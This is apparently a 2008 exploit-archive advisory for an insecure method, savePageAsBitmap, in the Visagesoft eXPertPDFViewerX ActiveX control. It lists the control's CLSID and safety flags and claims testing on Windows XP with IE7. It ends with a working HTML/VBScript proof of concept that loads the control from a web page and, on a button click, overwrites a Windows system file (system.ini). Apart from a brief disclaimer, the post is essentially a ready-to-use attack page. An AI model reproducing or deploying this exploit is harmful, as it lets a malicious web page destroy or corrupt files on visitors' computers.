visagesoft-overwrite.txt
Posted on 30 October 2008
VISAGESOFT eXPertPDFViewerX (VSPDFViewerX.ocx) INSECURE METHOD SITE: http://www.visagesoft.com This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Author: Marco Torti mail: marcotorti2[at]yahoo[dot]com thanks UGIS ################################################################################ FileVersion: 3.0.990.0 CLSID: {BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A} Description: Visagesoft PDF Viewer Control ProgID: VSPDFEditorX.VSPDFEdit Marked as: RegKey Safe for Script: False RegKey Safe for Init: False Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller,data IPStorage Safe: Safe for untrusted: caller,data Vulnerable method: savePageAsBitmap(ByVal bitmapFileName As String) As Boolean ################################################################################## Vulnerability Description: The "savePageAsBitmap" method doesn't check user supplied arguments so we can save/overwrite a specified file passed as argument, i don't have time, check others functions.... Tested on Windows XP Professional SP3 fully patched, with Internet Explorer 7 ################################################################################### <object classid='clsid:BDF3E9D2-5F7A-4F4A-A914-7498C862EA6A' id='target'/></object> <input language=VBScript onclick=launch() type=button value='start exploit'> <script language='vbscript'> Sub launch target.savePageAsBitmap "c:windows-system.ini" MsgBox"Exploit Completed.. file overwrite!" End Sub </script> ###################################################################################
